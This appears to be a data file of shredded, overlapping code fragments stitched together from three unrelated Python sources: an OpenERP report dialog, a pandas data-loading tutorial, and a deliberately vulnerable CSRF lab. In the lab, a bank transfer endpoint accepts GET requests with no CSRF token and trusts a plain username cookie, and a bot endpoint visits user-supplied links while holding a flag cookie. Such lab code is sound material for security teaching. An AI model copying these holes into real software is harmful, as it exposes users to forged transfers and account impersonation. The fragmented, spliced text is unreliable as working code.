self.aModuleName.append(res[i]['model']) self.win.addButton('btnOK',-2 ,-5, 70,15,'Use Module in Report' ,actionListenerProc = self.btnOk_clicked", "ctx self.module = \"openerp_report\" self.version = \"0.1\" LoginTest() self.logobj=Logger() if not loginstatus and", "it under the terms of the GNU Lesser General Public # License as", "creating a report %s using database %s' % (self.aModuleName[self.lstModule.getSelectedItemPos()], database)) self.win.endExecute() def btnCancel_clicked(self,", "will be useful, # but WITHOUT ANY WARRANTY; without even the implied warranty", "if not, write to the Free Software # Foundation, Inc., 51 Franklin Street,", "doc = desktop.getCurrentComponent() docinfo=doc.getDocumentInfo() docinfo.setUserFieldValue(3,self.aModuleName[self.lstModule.getSelectedItemPos()]) self.logobj.log_write('Module Name',LOG_INFO, ':Module use in creating a report", "GNU Lesser General Public # License along with this library; if not, write", "self.sock.execute(database, uid, self.password, 'ir.model' , 'search',[]) fields = [ 'model','name'] res = self.sock.execute(database,", "-2,13,176,80 , False) self.lstModule = self.win.getControl( \"lstModule\" ) self.aModuleName=[] desktop=getDesktop() doc = desktop.getCurrentComponent()", "%s using database %s' % (self.aModuleName[self.lstModule.getSelectedItemPos()], database)) self.win.endExecute() def btnCancel_clicked(self, oActionEvent): self.win.endExecute() if", "# but WITHOUT ANY WARRANTY; without even the implied warranty of # MERCHANTABILITY", "(self.aModuleName[self.lstModule.getSelectedItemPos()], database)) self.win.endExecute() def btnCancel_clicked(self, oActionEvent): self.win.endExecute() if __name__<>\"package\" and __name__==\"__main__\": NewReport(None) elif", ",-5, 35,15,'Cancel' ,actionListenerProc = self.btnCancel_clicked ) self.win.doModalDialog(\"\",None) def btnOk_clicked(self, oActionEvent): desktop=getDesktop() doc =", "= desktop.getCurrentComponent() docinfo=doc.getDocumentInfo() docinfo.setUserFieldValue(3,self.aModuleName[self.lstModule.getSelectedItemPos()]) self.logobj.log_write('Module Name',LOG_INFO, ':Module use in creating a report %s", ",actionListenerProc = self.btnCancel_clicked ) self.win.doModalDialog(\"\",None) def btnOk_clicked(self, oActionEvent): desktop=getDesktop() doc = desktop.getCurrentComponent() docinfo=doc.getDocumentInfo()" ]
[ "n = 5 print(df.head(n)) # Print Last n Rows print(df.tail(n)) # Get One", "Print First n Rows n = 5 print(df.head(n)) # Print Last n Rows", "= pandas.read_csv(\"../../data/uci-pima-indian-diabetes-data-original.csv\") # Print Dimensions of Data (Rows, Cols) print(\"Dimensions of Data\", df.shape)", "= 5 print(df.head(n)) # Print Last n Rows print(df.tail(n)) # Get One Particular", "matplotlib # READ CSV FILE df = pandas.read_csv(\"../../data/uci-pima-indian-diabetes-data-original.csv\") # Print Dimensions of Data", "of Data\", df.shape) # Print First n Rows n = 5 print(df.head(n)) #", "Data\", df.shape) # Print First n Rows n = 5 print(df.head(n)) # Print", "print(df.head(n)) # Print Last n Rows print(df.tail(n)) # Get One Particular Cell Value", "df = pandas.read_csv(\"../../data/uci-pima-indian-diabetes-data-original.csv\") # Print Dimensions of Data (Rows, Cols) print(\"Dimensions of Data\",", "5 print(df.head(n)) # Print Last n Rows print(df.tail(n)) # Get One Particular Cell", "# Print Last n Rows print(df.tail(n)) # Get One Particular Cell Value [col][row]", "n Rows n = 5 print(df.head(n)) # Print Last n Rows print(df.tail(n)) #", "Print Dimensions of Data (Rows, Cols) print(\"Dimensions of Data\", df.shape) # Print First", "<filename>codes/pandas/pandas-1-loading-and-displaying-data.py<gh_stars>0 import pandas import numpy import matplotlib # READ CSV FILE df =", "pandas import numpy import matplotlib # READ CSV FILE df = pandas.read_csv(\"../../data/uci-pima-indian-diabetes-data-original.csv\") #", "Data (Rows, Cols) print(\"Dimensions of Data\", df.shape) # Print First n Rows n", "Print Last n Rows print(df.tail(n)) # Get One Particular Cell Value [col][row] print(df[\"age\"][1])", "First n Rows n = 5 print(df.head(n)) # Print Last n Rows print(df.tail(n))", "Dimensions of Data (Rows, Cols) print(\"Dimensions of Data\", df.shape) # Print First n", "df.shape) # Print First n Rows n = 5 print(df.head(n)) # Print Last", "print(\"Dimensions of Data\", df.shape) # Print First n Rows n = 5 print(df.head(n))", "FILE df = pandas.read_csv(\"../../data/uci-pima-indian-diabetes-data-original.csv\") # Print Dimensions of Data (Rows, Cols) print(\"Dimensions of", "# Print First n Rows n = 5 print(df.head(n)) # Print Last n", "numpy import matplotlib # READ CSV FILE df = pandas.read_csv(\"../../data/uci-pima-indian-diabetes-data-original.csv\") # Print Dimensions", "of Data (Rows, Cols) print(\"Dimensions of Data\", df.shape) # Print First n Rows", "import matplotlib # READ CSV FILE df = pandas.read_csv(\"../../data/uci-pima-indian-diabetes-data-original.csv\") # Print Dimensions of", "# READ CSV FILE df = pandas.read_csv(\"../../data/uci-pima-indian-diabetes-data-original.csv\") # Print Dimensions of Data (Rows,", "READ CSV FILE df = pandas.read_csv(\"../../data/uci-pima-indian-diabetes-data-original.csv\") # Print Dimensions of Data (Rows, Cols)", "Cols) print(\"Dimensions of Data\", df.shape) # Print First n Rows n = 5", "(Rows, Cols) print(\"Dimensions of Data\", df.shape) # Print First n Rows n =", "import numpy import matplotlib # READ CSV FILE df = pandas.read_csv(\"../../data/uci-pima-indian-diabetes-data-original.csv\") # Print", "# Print Dimensions of Data (Rows, Cols) print(\"Dimensions of Data\", df.shape) # Print", "Rows n = 5 print(df.head(n)) # Print Last n Rows print(df.tail(n)) # Get", "import pandas import numpy import matplotlib # READ CSV FILE df = pandas.read_csv(\"../../data/uci-pima-indian-diabetes-data-original.csv\")", "CSV FILE df = pandas.read_csv(\"../../data/uci-pima-indian-diabetes-data-original.csv\") # Print Dimensions of Data (Rows, Cols) print(\"Dimensions", "pandas.read_csv(\"../../data/uci-pima-indian-diabetes-data-original.csv\") # Print Dimensions of Data (Rows, Cols) print(\"Dimensions of Data\", df.shape) #" ]
[ "from starlette.endpoints import HTTPEndpoint from starlette.middleware.sessions import SessionMiddleware from starlette.requests import HTTPConnection from", "current_user, \"transactions\": [] if current_user is None else transactions[current_user], }, ) @router.route(\"/bank/login\", methods=[\"POST\"])", "= StringField(\"link\") @router.route(\"/\") async def index(request: HTTPConnection): return templates.TemplateResponse(\"main.j2\", {\"request\": request}) def redirect_response(*args,", "Path from starlette.exceptions import HTTPException import aiohttp from dotenv import load_dotenv from furl", "= ClickForm() return templates.TemplateResponse( \"kerry.j2\", {\"request\": request, \"form\": form} ) async def post(self,", "form = TransferForm(request.query_params) if not form.validate(): login_form = LoginForm() current_user = request.cookies.get(\"username\") return", "form = ClickForm(form) link = furl(form.link.data) if link.path.segments and link.path.segments[0] == \"csrf\": link.netloc", "[] if current_user is None else transactions[current_user], }, ) from_ = request.cookies.get(\"username\") if", "\"transactions\": [] if current_user is None else transactions[current_user], }, ) @router.route(\"/bank/login\", methods=[\"POST\"]) async", "is None else transactions[current_user], }, ) @router.route(\"/bank/login\", methods=[\"POST\"]) async def bank_login(request: HTTPConnection): form", "user = StringField(\"Username\") class TransferForm(Form): dest = StringField(\"Destination\") amount = IntegerField(\"Amount\") @router.route(\"/bank\") async", "TransferForm(Form): dest = StringField(\"Destination\") amount = IntegerField(\"Amount\") @router.route(\"/bank\") async def bank(request: HTTPConnection): login_form", ") async def post(self, request: HTTPConnection): form = await request.form() form = ClickForm(form)", "as response: print(response.status) return templates.TemplateResponse( \"kerry.j2\", {\"request\": request, \"form\": form} ) transactions =", "flag = os.getenv(\"CSRF_FLAG\") root_dir = Path(__file__).parent router = Router() class ClickForm(Form): link =", "bank(request: HTTPConnection): login_form = LoginForm() transfer_form = TransferForm() current_user = request.cookies.get(\"username\") return templates.TemplateResponse(", "request.form() form = ClickForm(form) link = furl(form.link.data) if link.path.segments and link.path.segments[0] == \"csrf\":", "collections import defaultdict from pathlib import Path from starlette.exceptions import HTTPException import aiohttp", "return templates.TemplateResponse(\"main.j2\", {\"request\": request}) def redirect_response(*args, **kwargs): kwargs.setdefault(\"status_code\", 303) return RedirectResponse(*args, **kwargs) @router.route(\"/kerry\")", "= request.cookies.get(\"username\") return templates.TemplateResponse( \"bank.j2\", { \"request\": request, \"login_form\": login_form, \"transfer_form\": transfer_form, \"login_url\":", "flag} async with aiohttp.ClientSession(cookies=cookies) as session: async with session.get(link.url) as response: print(response.status) return", "request, \"login_form\": login_form, \"transfer_form\": transfer_form, \"login_url\": request.url_for(\"bank_login\"), \"transfer_url\": request.url_for(\"bank_transfer\"), \"current_user\": current_user, \"transactions\": []", "\"current_user\": current_user, \"transactions\": [] if current_user is None else transactions[current_user], }, ) @router.route(\"/bank/login\",", "}, ) from_ = request.cookies.get(\"username\") if from_ is None: raise HTTPException(status_code=401, detail=\"Not logged", "if not form.validate(): login_form = LoginForm() current_user = request.cookies.get(\"username\") return templates.TemplateResponse( \"bank.j2\", {", "<reponame>nitros12/luhack-web-lab<gh_stars>0 import os from collections import defaultdict from pathlib import Path from starlette.exceptions", "= await request.form() form = LoginForm(form) r = redirect_response(url=request.url_for(\"bank\")) r.set_cookie(\"username\", form.user.data) return r", "root_dir = Path(__file__).parent router = Router() class ClickForm(Form): link = StringField(\"link\") @router.route(\"/\") async", "login_form = LoginForm() current_user = request.cookies.get(\"username\") return templates.TemplateResponse( \"bank.j2\", { \"request\": request, \"login_form\":", "logged in\") transaction = (from_, form.dest.data, form.amount.data) print(transaction) transactions[form.dest.data].append(transaction) transactions[from_].append(transaction) return redirect_response(url=request.url_for(\"bank\")) app", "else transactions[current_user], }, ) @router.route(\"/bank/login\", methods=[\"POST\"]) async def bank_login(request: HTTPConnection): form = await", "form = await request.form() form = ClickForm(form) link = furl(form.link.data) if link.path.segments and", "Starlette from starlette.endpoints import HTTPEndpoint from starlette.middleware.sessions import SessionMiddleware from starlette.requests import HTTPConnection", "form} ) transactions = defaultdict(list) class LoginForm(Form): user = StringField(\"Username\") class TransferForm(Form): dest", "async def bank_transfer(request: HTTPConnection): form = TransferForm(request.query_params) if not form.validate(): login_form = LoginForm()", "await request.form() form = ClickForm(form) link = furl(form.link.data) if link.path.segments and link.path.segments[0] ==", "{ \"request\": request, \"login_form\": login_form, \"transfer_form\": transfer_form, \"login_url\": request.url_for(\"bank_login\"), \"transfer_url\": request.url_for(\"bank_transfer\"), \"current_user\": current_user,", "luhack_csrf.templater import templates load_dotenv() flag = os.getenv(\"CSRF_FLAG\") root_dir = Path(__file__).parent router = Router()", "print(response.status) return templates.TemplateResponse( \"kerry.j2\", {\"request\": request, \"form\": form} ) transactions = defaultdict(list) class", "methods=[\"GET\", \"POST\"]) async def bank_transfer(request: HTTPConnection): form = TransferForm(request.query_params) if not form.validate(): login_form", "current_user = request.cookies.get(\"username\") return templates.TemplateResponse( \"bank.j2\", { \"request\": request, \"login_form\": login_form, \"transfer_form\": form,", "if from_ is None: raise HTTPException(status_code=401, detail=\"Not logged in\") transaction = (from_, form.dest.data,", "get(self, request: HTTPConnection): form = ClickForm() return templates.TemplateResponse( \"kerry.j2\", {\"request\": request, \"form\": form}", "{\"request\": request}) def redirect_response(*args, **kwargs): kwargs.setdefault(\"status_code\", 303) return RedirectResponse(*args, **kwargs) @router.route(\"/kerry\") class Kerry(HTTPEndpoint):", "form} ) async def post(self, request: HTTPConnection): form = await request.form() form =", "== \"csrf\": link.netloc = \"csrf:8080\" cookies = {\"username\": flag} async with aiohttp.ClientSession(cookies=cookies) as", "os from collections import defaultdict from pathlib import Path from starlette.exceptions import HTTPException", "async def index(request: HTTPConnection): return templates.TemplateResponse(\"main.j2\", {\"request\": request}) def redirect_response(*args, **kwargs): kwargs.setdefault(\"status_code\", 303)", "HTTPConnection): login_form = LoginForm() transfer_form = TransferForm() current_user = request.cookies.get(\"username\") return templates.TemplateResponse( \"bank.j2\",", "= TransferForm() current_user = request.cookies.get(\"username\") return templates.TemplateResponse( \"bank.j2\", { \"request\": request, \"login_form\": login_form,", "post(self, request: HTTPConnection): form = await request.form() form = ClickForm(form) link = furl(form.link.data)", "import Path from starlette.exceptions import HTTPException import aiohttp from dotenv import load_dotenv from", "request.url_for(\"bank_login\"), \"transfer_url\": request.url_for(\"bank_transfer\"), \"current_user\": current_user, \"transactions\": [] if current_user is None else transactions[current_user],", "= redirect_response(url=request.url_for(\"bank\")) r.set_cookie(\"username\", form.user.data) return r @router.route(\"/bank/transfer\", methods=[\"GET\", \"POST\"]) async def bank_transfer(request: HTTPConnection):", "login_form = LoginForm() transfer_form = TransferForm() current_user = request.cookies.get(\"username\") return templates.TemplateResponse( \"bank.j2\", {", "303) return RedirectResponse(*args, **kwargs) @router.route(\"/kerry\") class Kerry(HTTPEndpoint): async def get(self, request: HTTPConnection): form", "templates.TemplateResponse( \"kerry.j2\", {\"request\": request, \"form\": form} ) async def post(self, request: HTTPConnection): form", "form = await request.form() form = LoginForm(form) r = redirect_response(url=request.url_for(\"bank\")) r.set_cookie(\"username\", form.user.data) return", "SessionMiddleware from starlette.requests import HTTPConnection from starlette.responses import RedirectResponse from starlette.routing import Mount,", ") from_ = request.cookies.get(\"username\") if from_ is None: raise HTTPException(status_code=401, detail=\"Not logged in\")", "transaction = (from_, form.dest.data, form.amount.data) print(transaction) transactions[form.dest.data].append(transaction) transactions[from_].append(transaction) return redirect_response(url=request.url_for(\"bank\")) app = Starlette(routes=[", "request: HTTPConnection): form = ClickForm() return templates.TemplateResponse( \"kerry.j2\", {\"request\": request, \"form\": form} )", "request.cookies.get(\"username\") if from_ is None: raise HTTPException(status_code=401, detail=\"Not logged in\") transaction = (from_,", "r @router.route(\"/bank/transfer\", methods=[\"GET\", \"POST\"]) async def bank_transfer(request: HTTPConnection): form = TransferForm(request.query_params) if not", "from_ = request.cookies.get(\"username\") if from_ is None: raise HTTPException(status_code=401, detail=\"Not logged in\") transaction", "session: async with session.get(link.url) as response: print(response.status) return templates.TemplateResponse( \"kerry.j2\", {\"request\": request, \"form\":", "HTTPConnection): form = await request.form() form = ClickForm(form) link = furl(form.link.data) if link.path.segments", "templates.TemplateResponse( \"bank.j2\", { \"request\": request, \"login_form\": login_form, \"transfer_form\": transfer_form, \"login_url\": request.url_for(\"bank_login\"), \"transfer_url\": request.url_for(\"bank_transfer\"),", "\"login_form\": login_form, \"transfer_form\": form, \"login_url\": request.url_for(\"bank_login\"), \"transfer_url\": request.url_for(\"bank_transfer\"), \"current_user\": current_user, \"transactions\": [] if", "detail=\"Not logged in\") transaction = (from_, form.dest.data, form.amount.data) print(transaction) transactions[form.dest.data].append(transaction) transactions[from_].append(transaction) return redirect_response(url=request.url_for(\"bank\"))", "bank_login(request: HTTPConnection): form = await request.form() form = LoginForm(form) r = redirect_response(url=request.url_for(\"bank\")) r.set_cookie(\"username\",", "return templates.TemplateResponse( \"kerry.j2\", {\"request\": request, \"form\": form} ) async def post(self, request: HTTPConnection):", "link.path.segments[0] == \"csrf\": link.netloc = \"csrf:8080\" cookies = {\"username\": flag} async with aiohttp.ClientSession(cookies=cookies)", "TransferForm(request.query_params) if not form.validate(): login_form = LoginForm() current_user = request.cookies.get(\"username\") return templates.TemplateResponse( \"bank.j2\",", "index(request: HTTPConnection): return templates.TemplateResponse(\"main.j2\", {\"request\": request}) def redirect_response(*args, **kwargs): kwargs.setdefault(\"status_code\", 303) return RedirectResponse(*args,", "import load_dotenv from furl import furl from starlette.applications import Starlette from starlette.endpoints import", "starlette.routing import Mount, Router from wtforms import Form, StringField, IntegerField from luhack_csrf.templater import", "\"transfer_url\": request.url_for(\"bank_transfer\"), \"current_user\": current_user, \"transactions\": [] if current_user is None else transactions[current_user], },", "link = furl(form.link.data) if link.path.segments and link.path.segments[0] == \"csrf\": link.netloc = \"csrf:8080\" cookies", "redirect_response(url=request.url_for(\"bank\")) r.set_cookie(\"username\", form.user.data) return r @router.route(\"/bank/transfer\", methods=[\"GET\", \"POST\"]) async def bank_transfer(request: HTTPConnection): form", "= StringField(\"Username\") class TransferForm(Form): dest = StringField(\"Destination\") amount = IntegerField(\"Amount\") @router.route(\"/bank\") async def", "None: raise HTTPException(status_code=401, detail=\"Not logged in\") transaction = (from_, form.dest.data, form.amount.data) print(transaction) transactions[form.dest.data].append(transaction)", "**kwargs): kwargs.setdefault(\"status_code\", 303) return RedirectResponse(*args, **kwargs) @router.route(\"/kerry\") class Kerry(HTTPEndpoint): async def get(self, request:", "await request.form() form = LoginForm(form) r = redirect_response(url=request.url_for(\"bank\")) r.set_cookie(\"username\", form.user.data) return r @router.route(\"/bank/transfer\",", "from collections import defaultdict from pathlib import Path from starlette.exceptions import HTTPException import", "def bank(request: HTTPConnection): login_form = LoginForm() transfer_form = TransferForm() current_user = request.cookies.get(\"username\") return", "Router from wtforms import Form, StringField, IntegerField from luhack_csrf.templater import templates load_dotenv() flag", "HTTPException import aiohttp from dotenv import load_dotenv from furl import furl from starlette.applications", "= furl(form.link.data) if link.path.segments and link.path.segments[0] == \"csrf\": link.netloc = \"csrf:8080\" cookies =", "dest = StringField(\"Destination\") amount = IntegerField(\"Amount\") @router.route(\"/bank\") async def bank(request: HTTPConnection): login_form =", "class ClickForm(Form): link = StringField(\"link\") @router.route(\"/\") async def index(request: HTTPConnection): return templates.TemplateResponse(\"main.j2\", {\"request\":", "print(transaction) transactions[form.dest.data].append(transaction) transactions[from_].append(transaction) return redirect_response(url=request.url_for(\"bank\")) app = Starlette(routes=[ Mount(\"/csrf\", app=router) ]) app.add_middleware(SessionMiddleware, secret_key=\"doesntmatter\")", "\"login_form\": login_form, \"transfer_form\": transfer_form, \"login_url\": request.url_for(\"bank_login\"), \"transfer_url\": request.url_for(\"bank_transfer\"), \"current_user\": current_user, \"transactions\": [] if", "class TransferForm(Form): dest = StringField(\"Destination\") amount = IntegerField(\"Amount\") @router.route(\"/bank\") async def bank(request: HTTPConnection):", "if current_user is None else transactions[current_user], }, ) from_ = request.cookies.get(\"username\") if from_", "furl(form.link.data) if link.path.segments and link.path.segments[0] == \"csrf\": link.netloc = \"csrf:8080\" cookies = {\"username\":", "transfer_form, \"login_url\": request.url_for(\"bank_login\"), \"transfer_url\": request.url_for(\"bank_transfer\"), \"current_user\": current_user, \"transactions\": [] if current_user is None", "IntegerField from luhack_csrf.templater import templates load_dotenv() flag = os.getenv(\"CSRF_FLAG\") root_dir = Path(__file__).parent router", "StringField(\"link\") @router.route(\"/\") async def index(request: HTTPConnection): return templates.TemplateResponse(\"main.j2\", {\"request\": request}) def redirect_response(*args, **kwargs):", "StringField(\"Destination\") amount = IntegerField(\"Amount\") @router.route(\"/bank\") async def bank(request: HTTPConnection): login_form = LoginForm() transfer_form", "request.form() form = LoginForm(form) r = redirect_response(url=request.url_for(\"bank\")) r.set_cookie(\"username\", form.user.data) return r @router.route(\"/bank/transfer\", methods=[\"GET\",", "}, ) @router.route(\"/bank/login\", methods=[\"POST\"]) async def bank_login(request: HTTPConnection): form = await request.form() form", "transactions[current_user], }, ) from_ = request.cookies.get(\"username\") if from_ is None: raise HTTPException(status_code=401, detail=\"Not", "starlette.responses import RedirectResponse from starlette.routing import Mount, Router from wtforms import Form, StringField,", "\"bank.j2\", { \"request\": request, \"login_form\": login_form, \"transfer_form\": form, \"login_url\": request.url_for(\"bank_login\"), \"transfer_url\": request.url_for(\"bank_transfer\"), \"current_user\":", "= IntegerField(\"Amount\") @router.route(\"/bank\") async def bank(request: HTTPConnection): login_form = LoginForm() transfer_form = TransferForm()", "return RedirectResponse(*args, **kwargs) @router.route(\"/kerry\") class Kerry(HTTPEndpoint): async def get(self, request: HTTPConnection): form =", "return templates.TemplateResponse( \"bank.j2\", { \"request\": request, \"login_form\": login_form, \"transfer_form\": form, \"login_url\": request.url_for(\"bank_login\"), \"transfer_url\":", "\"kerry.j2\", {\"request\": request, \"form\": form} ) transactions = defaultdict(list) class LoginForm(Form): user =", "\"POST\"]) async def bank_transfer(request: HTTPConnection): form = TransferForm(request.query_params) if not form.validate(): login_form =", "= request.cookies.get(\"username\") return templates.TemplateResponse( \"bank.j2\", { \"request\": request, \"login_form\": login_form, \"transfer_form\": form, \"login_url\":", "Path(__file__).parent router = Router() class ClickForm(Form): link = StringField(\"link\") @router.route(\"/\") async def index(request:", "starlette.middleware.sessions import SessionMiddleware from starlette.requests import HTTPConnection from starlette.responses import RedirectResponse from starlette.routing", "= request.cookies.get(\"username\") if from_ is None: raise HTTPException(status_code=401, detail=\"Not logged in\") transaction =", "@router.route(\"/\") async def index(request: HTTPConnection): return templates.TemplateResponse(\"main.j2\", {\"request\": request}) def redirect_response(*args, **kwargs): kwargs.setdefault(\"status_code\",", "def post(self, request: HTTPConnection): form = await request.form() form = ClickForm(form) link =", "starlette.endpoints import HTTPEndpoint from starlette.middleware.sessions import SessionMiddleware from starlette.requests import HTTPConnection from starlette.responses", "def index(request: HTTPConnection): return templates.TemplateResponse(\"main.j2\", {\"request\": request}) def redirect_response(*args, **kwargs): kwargs.setdefault(\"status_code\", 303) return", "defaultdict(list) class LoginForm(Form): user = StringField(\"Username\") class TransferForm(Form): dest = StringField(\"Destination\") amount =", "\"bank.j2\", { \"request\": request, \"login_form\": login_form, \"transfer_form\": transfer_form, \"login_url\": request.url_for(\"bank_login\"), \"transfer_url\": request.url_for(\"bank_transfer\"), \"current_user\":", "@router.route(\"/bank/login\", methods=[\"POST\"]) async def bank_login(request: HTTPConnection): form = await request.form() form = LoginForm(form)", "form.dest.data, form.amount.data) print(transaction) transactions[form.dest.data].append(transaction) transactions[from_].append(transaction) return redirect_response(url=request.url_for(\"bank\")) app = Starlette(routes=[ Mount(\"/csrf\", app=router) ])", "= Router() class ClickForm(Form): link = StringField(\"link\") @router.route(\"/\") async def index(request: HTTPConnection): return", "@router.route(\"/kerry\") class Kerry(HTTPEndpoint): async def get(self, request: HTTPConnection): form = ClickForm() return templates.TemplateResponse(", "wtforms import Form, StringField, IntegerField from luhack_csrf.templater import templates load_dotenv() flag = os.getenv(\"CSRF_FLAG\")", "form.user.data) return r @router.route(\"/bank/transfer\", methods=[\"GET\", \"POST\"]) async def bank_transfer(request: HTTPConnection): form = TransferForm(request.query_params)", "ClickForm(Form): link = StringField(\"link\") @router.route(\"/\") async def index(request: HTTPConnection): return templates.TemplateResponse(\"main.j2\", {\"request\": request})", "if link.path.segments and link.path.segments[0] == \"csrf\": link.netloc = \"csrf:8080\" cookies = {\"username\": flag}", "login_form, \"transfer_form\": transfer_form, \"login_url\": request.url_for(\"bank_login\"), \"transfer_url\": request.url_for(\"bank_transfer\"), \"current_user\": current_user, \"transactions\": [] if current_user", "import SessionMiddleware from starlette.requests import HTTPConnection from starlette.responses import RedirectResponse from starlette.routing import", "Mount, Router from wtforms import Form, StringField, IntegerField from luhack_csrf.templater import templates load_dotenv()", "def get(self, request: HTTPConnection): form = ClickForm() return templates.TemplateResponse( \"kerry.j2\", {\"request\": request, \"form\":", "import os from collections import defaultdict from pathlib import Path from starlette.exceptions import", "load_dotenv from furl import furl from starlette.applications import Starlette from starlette.endpoints import HTTPEndpoint", "async with session.get(link.url) as response: print(response.status) return templates.TemplateResponse( \"kerry.j2\", {\"request\": request, \"form\": form}", "form.amount.data) print(transaction) transactions[form.dest.data].append(transaction) transactions[from_].append(transaction) return redirect_response(url=request.url_for(\"bank\")) app = Starlette(routes=[ Mount(\"/csrf\", app=router) ]) app.add_middleware(SessionMiddleware,", "class LoginForm(Form): user = StringField(\"Username\") class TransferForm(Form): dest = StringField(\"Destination\") amount = IntegerField(\"Amount\")", "form, \"login_url\": request.url_for(\"bank_login\"), \"transfer_url\": request.url_for(\"bank_transfer\"), \"current_user\": current_user, \"transactions\": [] if current_user is None", "\"request\": request, \"login_form\": login_form, \"transfer_form\": form, \"login_url\": request.url_for(\"bank_login\"), \"transfer_url\": request.url_for(\"bank_transfer\"), \"current_user\": current_user, \"transactions\":", "templates.TemplateResponse(\"main.j2\", {\"request\": request}) def redirect_response(*args, **kwargs): kwargs.setdefault(\"status_code\", 303) return RedirectResponse(*args, **kwargs) @router.route(\"/kerry\") class", "import Form, StringField, IntegerField from luhack_csrf.templater import templates load_dotenv() flag = os.getenv(\"CSRF_FLAG\") root_dir", "**kwargs) @router.route(\"/kerry\") class Kerry(HTTPEndpoint): async def get(self, request: HTTPConnection): form = ClickForm() return", "furl import furl from starlette.applications import Starlette from starlette.endpoints import HTTPEndpoint from starlette.middleware.sessions", "bank_transfer(request: HTTPConnection): form = TransferForm(request.query_params) if not form.validate(): login_form = LoginForm() current_user =", "@router.route(\"/bank\") async def bank(request: HTTPConnection): login_form = LoginForm() transfer_form = TransferForm() current_user =", "= StringField(\"Destination\") amount = IntegerField(\"Amount\") @router.route(\"/bank\") async def bank(request: HTTPConnection): login_form = LoginForm()", "import HTTPConnection from starlette.responses import RedirectResponse from starlette.routing import Mount, Router from wtforms", "import RedirectResponse from starlette.routing import Mount, Router from wtforms import Form, StringField, IntegerField", "if current_user is None else transactions[current_user], }, ) @router.route(\"/bank/login\", methods=[\"POST\"]) async def bank_login(request:", "form = ClickForm() return templates.TemplateResponse( \"kerry.j2\", {\"request\": request, \"form\": form} ) async def", "async def bank(request: HTTPConnection): login_form = LoginForm() transfer_form = TransferForm() current_user = request.cookies.get(\"username\")", ") @router.route(\"/bank/login\", methods=[\"POST\"]) async def bank_login(request: HTTPConnection): form = await request.form() form =", "current_user, \"transactions\": [] if current_user is None else transactions[current_user], }, ) from_ =", "(from_, form.dest.data, form.amount.data) print(transaction) transactions[form.dest.data].append(transaction) transactions[from_].append(transaction) return redirect_response(url=request.url_for(\"bank\")) app = Starlette(routes=[ Mount(\"/csrf\", app=router)", "\"kerry.j2\", {\"request\": request, \"form\": form} ) async def post(self, request: HTTPConnection): form =", "{\"request\": request, \"form\": form} ) async def post(self, request: HTTPConnection): form = await", "HTTPConnection): form = TransferForm(request.query_params) if not form.validate(): login_form = LoginForm() current_user = request.cookies.get(\"username\")", "router = Router() class ClickForm(Form): link = StringField(\"link\") @router.route(\"/\") async def index(request: HTTPConnection):", "starlette.requests import HTTPConnection from starlette.responses import RedirectResponse from starlette.routing import Mount, Router from", "@router.route(\"/bank/transfer\", methods=[\"GET\", \"POST\"]) async def bank_transfer(request: HTTPConnection): form = TransferForm(request.query_params) if not form.validate():", "import Mount, Router from wtforms import Form, StringField, IntegerField from luhack_csrf.templater import templates", "import furl from starlette.applications import Starlette from starlette.endpoints import HTTPEndpoint from starlette.middleware.sessions import", "async def bank_login(request: HTTPConnection): form = await request.form() form = LoginForm(form) r =", "templates.TemplateResponse( \"bank.j2\", { \"request\": request, \"login_form\": login_form, \"transfer_form\": form, \"login_url\": request.url_for(\"bank_login\"), \"transfer_url\": request.url_for(\"bank_transfer\"),", "request: HTTPConnection): form = await request.form() form = ClickForm(form) link = furl(form.link.data) if", "\"csrf:8080\" cookies = {\"username\": flag} async with aiohttp.ClientSession(cookies=cookies) as session: async with session.get(link.url)", "current_user = request.cookies.get(\"username\") return templates.TemplateResponse( \"bank.j2\", { \"request\": request, \"login_form\": login_form, \"transfer_form\": transfer_form,", "Form, StringField, IntegerField from luhack_csrf.templater import templates load_dotenv() flag = os.getenv(\"CSRF_FLAG\") root_dir =", "not form.validate(): login_form = LoginForm() current_user = request.cookies.get(\"username\") return templates.TemplateResponse( \"bank.j2\", { \"request\":", "LoginForm(form) r = redirect_response(url=request.url_for(\"bank\")) r.set_cookie(\"username\", form.user.data) return r @router.route(\"/bank/transfer\", methods=[\"GET\", \"POST\"]) async def", "from wtforms import Form, StringField, IntegerField from luhack_csrf.templater import templates load_dotenv() flag =", "async with aiohttp.ClientSession(cookies=cookies) as session: async with session.get(link.url) as response: print(response.status) return templates.TemplateResponse(", "with aiohttp.ClientSession(cookies=cookies) as session: async with session.get(link.url) as response: print(response.status) return templates.TemplateResponse( \"kerry.j2\",", "and link.path.segments[0] == \"csrf\": link.netloc = \"csrf:8080\" cookies = {\"username\": flag} async with", "= \"csrf:8080\" cookies = {\"username\": flag} async with aiohttp.ClientSession(cookies=cookies) as session: async with", "kwargs.setdefault(\"status_code\", 303) return RedirectResponse(*args, **kwargs) @router.route(\"/kerry\") class Kerry(HTTPEndpoint): async def get(self, request: HTTPConnection):", "import Starlette from starlette.endpoints import HTTPEndpoint from starlette.middleware.sessions import SessionMiddleware from starlette.requests import", "HTTPConnection from starlette.responses import RedirectResponse from starlette.routing import Mount, Router from wtforms import", "request, \"form\": form} ) async def post(self, request: HTTPConnection): form = await request.form()", "transactions = defaultdict(list) class LoginForm(Form): user = StringField(\"Username\") class TransferForm(Form): dest = StringField(\"Destination\")", "request.cookies.get(\"username\") return templates.TemplateResponse( \"bank.j2\", { \"request\": request, \"login_form\": login_form, \"transfer_form\": form, \"login_url\": request.url_for(\"bank_login\"),", "from luhack_csrf.templater import templates load_dotenv() flag = os.getenv(\"CSRF_FLAG\") root_dir = Path(__file__).parent router =", "def redirect_response(*args, **kwargs): kwargs.setdefault(\"status_code\", 303) return RedirectResponse(*args, **kwargs) @router.route(\"/kerry\") class Kerry(HTTPEndpoint): async def", "import defaultdict from pathlib import Path from starlette.exceptions import HTTPException import aiohttp from", "class Kerry(HTTPEndpoint): async def get(self, request: HTTPConnection): form = ClickForm() return templates.TemplateResponse( \"kerry.j2\",", "templates.TemplateResponse( \"kerry.j2\", {\"request\": request, \"form\": form} ) transactions = defaultdict(list) class LoginForm(Form): user", "[] if current_user is None else transactions[current_user], }, ) @router.route(\"/bank/login\", methods=[\"POST\"]) async def", "= await request.form() form = ClickForm(form) link = furl(form.link.data) if link.path.segments and link.path.segments[0]", "\"login_url\": request.url_for(\"bank_login\"), \"transfer_url\": request.url_for(\"bank_transfer\"), \"current_user\": current_user, \"transactions\": [] if current_user is None else", "is None: raise HTTPException(status_code=401, detail=\"Not logged in\") transaction = (from_, form.dest.data, form.amount.data) print(transaction)", "templates load_dotenv() flag = os.getenv(\"CSRF_FLAG\") root_dir = Path(__file__).parent router = Router() class 